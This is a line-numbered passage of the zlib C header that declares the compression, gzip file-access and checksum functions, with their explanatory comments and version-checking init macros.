608 | ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen,
609 | const Bytef *source, uLong sourceLen));
610 | /*
611 | Compresses the source buffer into the destination buffer. sourceLen is
612 | the byte length of the source buffer. Upon entry, destLen is the total
613 | size of the destination buffer, which must be at least 0.1% larger than
614 | sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the
615 | compressed buffer.
616 | This function can be used to compress a whole file at once if the
617 | input file is mmap'ed.
618 | compress returns Z_OK if success, Z_MEM_ERROR if there was not
619 | enough memory, Z_BUF_ERROR if there was not enough room in the output
620 | buffer.
621 | */
622 |
623 | ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen,
624 | const Bytef *source, uLong sourceLen,
625 | int level));
626 | /*
627 | Compresses the source buffer into the destination buffer. The level
628 | parameter has the same meaning as in deflateInit. sourceLen is the byte
629 | length of the source buffer. Upon entry, destLen is the total size of the
630 | destination buffer, which must be at least 0.1% larger than sourceLen plus
631 | 12 bytes. Upon exit, destLen is the actual size of the compressed buffer.
632 |
633 | compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
634 | memory, Z_BUF_ERROR if there was not enough room in the output buffer,
635 | Z_STREAM_ERROR if the level parameter is invalid.
636 | */
637 |
638 | ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen,
639 | const Bytef *source, uLong sourceLen));
640 | /*
641 | Decompresses the source buffer into the destination buffer. sourceLen is
642 | the byte length of the source buffer. Upon entry, destLen is the total
643 | size of the destination buffer, which must be large enough to hold the
644 | entire uncompressed data. (The size of the uncompressed data must have
645 | been saved previously by the compressor and transmitted to the decompressor
646 | by some mechanism outside the scope of this compression library.)
647 | Upon exit, destLen is the actual size of the compressed buffer.
648 | This function can be used to decompress a whole file at once if the
649 | input file is mmap'ed.
650 |
651 | uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
652 | enough memory, Z_BUF_ERROR if there was not enough room in the output
653 | buffer, or Z_DATA_ERROR if the input data was corrupted.
654 | */
655 |
656 |
657 | typedef voidp gzFile;
658 |
659 | ZEXTERN gzFile ZEXPORT gzopen OF((const char *path, const char *mode));
660 | /*
661 | Opens a gzip (.gz) file for reading or writing. The mode parameter
662 | is as in fopen ("rb" or "wb") but can also include a compression level
663 | ("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for
664 | Huffman only compression as in "wb1h". (See the description
665 | of deflateInit2 for more information about the strategy parameter.)
666 |
667 | gzopen can be used to read a file which is not in gzip format; in this
668 | case gzread will directly read from the file without decompression.
669 |
670 | gzopen returns NULL if the file could not be opened or if there was
671 | insufficient memory to allocate the (de)compression state; errno
672 | can be checked to distinguish the two cases (if errno is zero, the
673 | zlib error is Z_MEM_ERROR). */
674 |
675 | ZEXTERN gzFile ZEXPORT gzdopen OF((int fd, const char *mode));
676 | /*
677 | gzdopen() associates a gzFile with the file descriptor fd. File
678 | descriptors are obtained from calls like open, dup, creat, pipe or
679 | fileno (in the file has been previously opened with fopen).
680 | The mode parameter is as in gzopen.
681 | The next call of gzclose on the returned gzFile will also close the
682 | file descriptor fd, just like fclose(fdopen(fd), mode) closes the file
683 | descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode).
684 | gzdopen returns NULL if there was insufficient memory to allocate
685 | the (de)compression state.
686 | */
687 |
688 | ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy));
689 | /*
690 | Dynamically update the compression level or strategy. See the description
691 | of deflateInit2 for the meaning of these parameters.
692 | gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not
693 | opened for writing.
694 | */
695 |
696 | ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len));
697 | /*
698 | Reads the given number of uncompressed bytes from the compressed file.
699 | If the input file was not in gzip format, gzread copies the given number
700 | of bytes into the buffer.
701 | gzread returns the number of uncompressed bytes actually read (0 for
702 | end of file, -1 for error). */
703 |
704 | ZEXTERN int ZEXPORT gzwrite OF((gzFile file,
705 | const voidp buf, unsigned len));
706 | /*
707 | Writes the given number of uncompressed bytes into the compressed file.
708 | gzwrite returns the number of uncompressed bytes actually written
709 | (0 in case of error).
710 | */
711 |
712 | ZEXTERN int ZEXPORTVA gzprintf OF((gzFile file, const char *format, ...));
713 | /*
714 | Converts, formats, and writes the args to the compressed file under
715 | control of the format string, as in fprintf. gzprintf returns the number of
716 | uncompressed bytes actually written (0 in case of error).
717 | */
718 |
719 | ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s));
720 | /*
721 | Writes the given null-terminated string to the compressed file, excluding
722 | the terminating null character.
723 | gzputs returns the number of characters written, or -1 in case of error.
724 | */
725 |
726 | ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len));
727 | /*
728 | Reads bytes from the compressed file until len-1 characters are read, or
729 | a newline character is read and transferred to buf, or an end-of-file
730 | condition is encountered. The string is then terminated with a null
731 | character.
732 | gzgets returns buf, or Z_NULL in case of error.
733 | */
734 |
735 | ZEXTERN int ZEXPORT gzputc OF((gzFile file, int c));
736 | /*
737 | Writes c, converted to an unsigned char, into the compressed file.
738 | gzputc returns the value that was written, or -1 in case of error.
739 | */
740 |
741 | ZEXTERN int ZEXPORT gzgetc OF((gzFile file));
742 | /*
743 | Reads one byte from the compressed file. gzgetc returns this byte
744 | or -1 in case of end of file or error.
745 | */
746 |
747 | ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush));
748 | /*
749 | Flushes all pending output into the compressed file. The parameter
750 | flush is as in the deflate() function. The return value is the zlib
751 | error number (see function gzerror below). gzflush returns Z_OK if
752 | the flush parameter is Z_FINISH and all output could be flushed.
753 | gzflush should be called only when strictly necessary because it can
754 | degrade compression.
755 | */
756 |
757 | ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile file,
758 | z_off_t offset, int whence));
759 | /*
760 | Sets the starting position for the next gzread or gzwrite on the
761 | given compressed file. The offset represents a number of bytes in the
762 | uncompressed data stream. The whence parameter is defined as in lseek(2);
763 | the value SEEK_END is not supported.
764 | If the file is opened for reading, this function is emulated but can be
765 | extremely slow. If the file is opened for writing, only forward seeks are
766 | supported; gzseek then compresses a sequence of zeroes up to the new
767 | starting position.
768 |
769 | gzseek returns the resulting offset location as measured in bytes from
770 | the beginning of the uncompressed stream, or -1 in case of error, in
771 | particular if the file is opened for writing and the new starting position
772 | would be before the current position.
773 | */
774 |
775 | ZEXTERN int ZEXPORT gzrewind OF((gzFile file));
776 | /*
777 | Rewinds the given file. This function is supported only for reading.
778 |
779 | gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET)
780 | */
781 |
782 | ZEXTERN z_off_t ZEXPORT gztell OF((gzFile file));
783 | /*
784 | Returns the starting position for the next gzread or gzwrite on the
785 | given compressed file. This position represents a number of bytes in the
786 | uncompressed data stream.
787 |
788 | gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR)
789 | */
790 |
791 | ZEXTERN int ZEXPORT gzeof OF((gzFile file));
792 | /*
793 | Returns 1 when EOF has previously been detected reading the given
794 | input stream, otherwise zero.
795 | */
796 |
797 | ZEXTERN int ZEXPORT gzclose OF((gzFile file));
798 | /*
799 | Flushes all pending output if necessary, closes the compressed file
800 | and deallocates all the (de)compression state. The return value is the zlib
801 | error number (see function gzerror below).
802 | */
803 |
804 | ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum));
805 | /*
806 | Returns the error message for the last error which occurred on the
807 | given compressed file. errnum is set to zlib error number. If an
808 | error occurred in the file system and not in the compression library,
809 | errnum is set to Z_ERRNO and the application may consult errno
810 | to get the exact error code.
811 | */
812 |
813 | /* checksum functions */
814 |
815 | /*
816 | These functions are not related to compression but are exported
817 | anyway because they might be useful in applications using the
818 | compression library.
819 | */
820 |
821 | ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len));
822 |
823 | /*
824 | Update a running Adler-32 checksum with the bytes buf[0..len-1] and
825 | return the updated checksum. If buf is NULL, this function returns
826 | the required initial value for the checksum.
827 | An Adler-32 checksum is almost as reliable as a CRC32 but can be computed
828 | much faster. Usage example:
829 |
830 | uLong adler = adler32(0L, Z_NULL, 0);
831 |
832 | while (read_buffer(buffer, length) != EOF) {
833 | adler = adler32(adler, buffer, length);
834 | }
835 | if (adler != original_adler) error();
836 | */
837 |
838 | ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len));
839 | /*
840 | Update a running crc with the bytes buf[0..len-1] and return the updated
841 | crc. If buf is NULL, this function returns the required initial value
842 | for the crc. Pre- and post-conditioning (one's complement) is performed
843 | within this function so it shouldn't be done by the application.
844 | Usage example:
845 |
846 | uLong crc = crc32(0L, Z_NULL, 0);
847 |
848 | while (read_buffer(buffer, length) != EOF) {
849 | crc = crc32(crc, buffer, length);
850 | }
851 | if (crc != original_crc) error();
852 | */
853 |
854 |
855 | /* various hacks, don't look :) */
856 |
857 | /* deflateInit and inflateInit are macros to allow checking the zlib version
858 | * and the compiler's view of z_stream:
859 | */
860 | ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level,
861 | const char *version, int stream_size));
862 | ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm,
863 | const char *version, int stream_size));
864 | ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int level, int method,
865 | int windowBits, int memLevel,
866 | int strategy, const char *version,
867 | int stream_size));
868 | ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int windowBits,
869 | const char *version, int stream_size));
870 | #define deflateInit(strm, level) \
871 | deflateInit_((strm), (level), ZLIB_VERSION, sizeof(z_stream))
872 | #define inflateInit(strm) \
873 | inflateInit_((strm), ZLIB_VERSION, sizeof(z_stream))
874 | #define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
875 | deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
876 | (strategy), ZLIB_VERSION, sizeof(z_stream))
877 | #define inflateInit2(strm, windowBits) \
878 | inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream))
879 |
880 |
881 | #if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL)
882 | struct internal_state {int dummy;}; /* hack for buggy compilers */
883 | #endif
884 |
885 | ZEXTERN const char * ZEXPORT zError OF((int err));
886 | ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp z));
887 | ZEXTERN const uLongf * ZEXPORT get_crc_table OF((void));
888 |
889 | #ifdef __cplusplus
890 | }
891 | #endif
892 |
893 | #endif /* _ZLIB_H */
894 |
--------------------------------------------------------------------------------